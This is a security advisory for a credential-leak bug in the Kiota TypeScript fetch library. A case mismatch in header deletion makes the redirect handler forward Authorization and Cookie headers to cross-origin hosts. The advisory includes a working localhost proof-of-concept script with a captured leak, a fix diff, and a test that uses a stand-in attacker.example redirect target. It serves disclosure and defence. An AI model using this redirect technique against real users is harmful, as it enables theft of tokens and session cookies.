Summary

@microsoft/kiota-http-fetchlibrary's RedirectHandler is documented as stripping Authorization and Cookie from cross-origin redirect targets, but the default scrubSensitiveHeaders callback in RedirectHandlerOptions uses case-sensitive property deletion (delete headers.Authorization, delete headers.Cookie) on a headers object that FetchRequestAdapter.getRequestFromRequestInformation has already lower-cased. The delete therefore targets keys that do not exist, the scrub is a no-op, and any Bearer token or Cookie attached by a kiota-generated SDK is forwarded to an attacker-controlled host across a 30x redirect.

This is reachable in the default middleware chain (MiddlewareFactory.getDefaultMiddlewares) with no custom configuration, and applies to every kiota-generated TypeScript SDK that uses BaseBearerTokenAuthenticationProvider or any other authentication provider that sets the Authorization request header.

Affected versions

@microsoft/kiota-http-fetchlibrary >= 1.0.0-preview.97 (the release that introduced the defaultScrubSensitiveHeaders callback, commit 74886cc4, tagged 2026-02-27) up to and including 1.0.0-preview.101 (latest at filing). The bug was verified end-to-end against the version published on npm: 1.0.0-preview.100.

The case-mismatch primitive (lowercasing in the request adapter) predates the scrub itself — FetchRequestAdapter.getRequestFromRequestInformation has lower-cased header keys via toLocaleLowerCase() since commit d612bac2 (2022-12-09). When the scrub was added in 2026-02 it inherited the mismatch.

Impact

• Bearer token leak across origin. When a kiota-generated SDK calls a server that the SDK trusts (Microsoft Graph, an internal API, any OAuth2 resource server) and that server returns an HTTP redirect to a different host, the Authorization: Bearer <token> header issued by the auth provider is sent in cleartext to the redirect target. The redirect target can be controlled by:
  • An attacker who can corrupt or MITM a single 30x response from the legitimate host (downgrade-on-redirect amplifier).
  • An attacker who has temporarily compromised a low-trust endpoint of the upstream API and can issue 302 responses (e.g. a public profile-image URL on Graph that returns 302 to attacker-controlled storage).
  • An attacker who can persuade the kiota-using application to call an attacker-chosen base URL that returns 302 to the attacker (a confused-deputy SSRF-style abuse where the application proxies a user-supplied URL through a kiota-built client).
• Session cookie leak across origin. If the application or generated SDK attaches a Cookie header, the same primitive forwards it to the redirect target.
• No user interaction required. The default middleware chain is in effect; the application does not need to opt in to the bug.

Vulnerable code

The two pieces that combine into the bug.

1. Headers are lower-cased on the way out of the request adapter.

packages/http/fetch/src/fetchRequestAdapter.ts:529-532:

const headers: Record<string, string> | undefined = {};
requestInfo.headers?.forEach((_, key) => {
    headers[key.toString().toLocaleLowerCase()] = this.foldHeaderValue(requestInfo.headers.tryGetValue(key));
});

The headers object that flows into the middleware pipeline as fetchRequestInit.headers has every key lower-cased. So Authorization becomes authorization, Cookie becomes cookie.

2. The default redirect scrub deletes case-sensitive property names.

packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts:67-82:

private static readonly defaultScrubSensitiveHeaders: ScrubSensitiveHeaders = (headers: Record<string, string>, originalUrl: string, newUrl: string) => {
    if (!headers || !originalUrl || !newUrl) {
        return;
    }
    try {
        const originalUri = new URL(originalUrl);
        const newUri = new URL(newUrl);
        const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();
        if (isDifferentHostOrScheme) {
            delete headers.Authorization;
            delete headers.Cookie;
        }
    } catch {
        return;
    }
};

delete headers.Authorization is sugar for delete headers["Authorization"]. JavaScript object property names are case-sensitive. The headers object's actual key is "authorization" (lower-case). The delete removes nothing.

3. The redirect handler invokes the scrub on the lower-cased object.

packages/http/fetch/src/middlewares/redirectHandler.ts:133-136:

if (fetchRequestInit.headers) {
    currentOptions.scrubSensitiveHeaders(fetchRequestInit.headers as Record<string, string>, url, newUrl);
}

The redirect handler then issues a new fetch with the unchanged fetchRequestInit.headers (still containing authorization) to newUrl (the attacker-controlled host).

How the Bearer token reaches the attacker host

1. Application calls a kiota-generated SDK method.
2. FetchRequestAdapter.send calls authenticationProvider.authenticateRequest(requestInfo). BaseBearerTokenAuthenticationProvider adds Authorization: Bearer <token> to requestInfo.headers (packages/abstractions/src/authentication/baseBearerTokenAuthenticationProvider.ts:34).
3. FetchRequestAdapter.getRequestFromRequestInformation builds the RequestInit object, lower-casing every header key. The output headers map contains key "authorization".
4. The default middleware chain runs RetryHandler then RedirectHandler. RedirectHandler.execute sets redirect = "manual" so the underlying fetch does not auto-follow.
5. The upstream HTTP request goes out to the victim host carrying authorization: Bearer <token>.
6. The victim host responds with 302 Location: https://attacker.example/loot.
7. RedirectHandler.executeWithRedirect sees the 302, parses the Location, computes newUrl, and calls currentOptions.scrubSensitiveHeaders(headers, url, newUrl).
8. defaultScrubSensitiveHeaders correctly observes originalUri.host !== newUri.host, enters the if (isDifferentHostOrScheme) branch, and runs delete headers.Authorization. The headers object's key is authorization. The delete is a no-op.
9. executeWithRedirect recurses with url = newUrl and the unchanged headers. A second fetch goes out to the attacker host carrying authorization: Bearer <token> and cookie: <session>.

Proof of concept

End-to-end PoC against @microsoft/kiota-http-fetchlibrary@1.0.0-preview.100 and @microsoft/kiota-abstractions@1.0.0-preview.99 installed from npm with npm install. Two local HTTP listeners simulate the victim host (port 7771) and the attacker host (port 7772). The attacker listener captures the full set of request headers it observes.

package.json:

{
  "name": "kiota-bearer-leak-poc",
  "version": "0.0.1",
  "private": true,
  "type": "module",
  "dependencies": {
    "@microsoft/kiota-abstractions": "^1.0.0-preview.99",
    "@microsoft/kiota-http-fetchlibrary": "^1.0.0-preview.99"
  }
}

poc.mjs:

import http from "node:http";
import {
  BaseBearerTokenAuthenticationProvider,
  RequestInformation,
  HttpMethod,
} from "@microsoft/kiota-abstractions";
import {
  FetchRequestAdapter,
  KiotaClientFactory,
} from "@microsoft/kiota-http-fetchlibrary";

const TOKEN = "SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD";
const COOKIE = "session=SECRET_COOKIE_EEEE-FFFF";

const attackerCapture = [];
const attackerServer = http.createServer((req, res) => {
  attackerCapture.push({ url: req.url, headers: req.headers });
  res.writeHead(200, { "Content-Type": "application/json" });
  res.end(JSON.stringify({ pwned: true }));
});
await new Promise((r) => attackerServer.listen(7772, "127.0.0.1", r));

const victimServer = http.createServer((req, res) => {
  res.writeHead(302, { Location: "http://127.0.0.1:7772/api/data" });
  res.end();
});
await new Promise((r) => victimServer.listen(7771, "127.0.0.1", r));

class StaticTokenProvider {
  getAuthorizationToken() { return Promise.resolve(TOKEN); }
  getAllowedHostsValidator() { return { getAllowedHosts: () => [] }; }
}
const authProvider = new BaseBearerTokenAuthenticationProvider(new StaticTokenProvider());
const adapter = new FetchRequestAdapter(authProvider, undefined, undefined, KiotaClientFactory.create());
adapter.baseUrl = "http://127.0.0.1:7771";

const requestInfo = new RequestInformation();
requestInfo.urlTemplate = "{+baseurl}/me";
requestInfo.pathParameters["baseurl"] = "http://127.0.0.1:7771";
requestInfo.httpMethod = HttpMethod.GET;
requestInfo.headers.add("Cookie", COOKIE);

try { await adapter.sendNoResponseContent(requestInfo, undefined); } catch (e) {}

console.log("attacker received:", JSON.stringify(attackerCapture[0]?.headers, null, 2));
attackerServer.close();
victimServer.close();

End-to-end reproduction against @microsoft/kiota-http-fetchlibrary@1.0.0-preview.100

Setup:

mkdir kiota-leak && cd kiota-leak
cat > package.json <<'EOF'
{
  "name": "kiota-bearer-leak-poc",
  "version": "0.0.1",
  "private": true,
  "type": "module",
  "dependencies": {
    "@microsoft/kiota-abstractions": "^1.0.0-preview.99",
    "@microsoft/kiota-http-fetchlibrary": "^1.0.0-preview.99"
  }
}
EOF
# Save the poc.mjs above into the same directory
npm install
node --version  # tested on Node v26.0.0
node poc.mjs

Captured transcript (verbatim from a clean run on Node v26):

attacker received: {
  "host": "127.0.0.1:7772",
  "connection": "keep-alive",
  "cookie": "session=SECRET_COOKIE_EEEE-FFFF",
  "authorization": "Bearer SECRET_TOKEN_AAAA-BBBB-CCCC-DDDD",
  "user-agent": "kiota-typescript/1.0.0-preview.24",
  "accept": "*/*",
  "accept-language": "*",
  "sec-fetch-mode": "cors",
  "accept-encoding": "gzip, deflate"
}

The attacker-controlled host on 127.0.0.1:7772 (a different origin from 127.0.0.1:7771) observes both the OAuth2 Bearer token and the session cookie. The default RedirectHandler.scrubSensitiveHeaders did execute its delete branch (verified by inserting a console.log inside the scrub) but the deletes targeted property names that did not exist, leaving the lower-cased headers intact.

Suggested fix

Two-line change to defaultScrubSensitiveHeaders to drop sensitive headers regardless of key case, with Proxy-Authorization covered for the Node-with-agent case.

--- a/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts
+++ b/packages/http/fetch/src/middlewares/options/redirectHandlerOptions.ts
@@ -73,12 +73,21 @@ export class RedirectHandlerOptions implements RequestOption {
         try {
             const originalUri = new URL(originalUrl);
             const newUri = new URL(newUrl);

-            // Remove Authorization and Cookie headers if the request's scheme or host changes
+            // Remove Authorization, Cookie, and Proxy-Authorization headers if the request's scheme or host changes.
+            // Header keys must be matched case-insensitively because the request adapter lower-cases
+            // header keys before they reach this middleware (see FetchRequestAdapter.getRequestFromRequestInformation).
             const isDifferentHostOrScheme = originalUri.host.toLowerCase() !== newUri.host.toLowerCase() || originalUri.protocol.toLowerCase() !== newUri.protocol.toLowerCase();

             if (isDifferentHostOrScheme) {
-                delete headers.Authorization;
-                delete headers.Cookie;
+                for (const key of Object.keys(headers)) {
+                    const lower = key.toLowerCase();
+                    if (lower === "authorization" || lower === "cookie" || lower === "proxy-authorization") {
+                        delete headers[key];
+                    }
+                }
             }
         } catch {
             // If URL parsing fails, don't modify headers

Tests should be extended in packages/http/fetch/test/node/RedirectHandler.ts to cover the realistic case where headers arrive lower-cased — the existing tests use PascalCase Authorization: ... fixtures that match the buggy delete by coincidence and therefore pass even with the no-op scrub. Add at minimum:

it("Should drop authorization and cookie regardless of key case", async () => {
    const fetchRequestInit = {
        method: "GET",
        headers: { authorization: "Bearer TEST", cookie: "session=SECRET" },
    };
    const options = new RedirectHandlerOptions();
    options.scrubSensitiveHeaders(
        fetchRequestInit.headers,
        "https://graph.microsoft.com/v1.0/me",
        "https://attacker.example/loot",
    );
    assert.isUndefined(fetchRequestInit.headers.authorization);
    assert.isUndefined(fetchRequestInit.headers.cookie);
});

Fix commit

microsoft/kiota-typescript@09f8bd9

Credit

Reported by tonghuaroot.

References

• GHSA-396q-4vc8-28x9
• https://nvd.nist.gov/vuln/detail/CVE-2026-49336
• microsoft/kiota-typescript@09f8bd9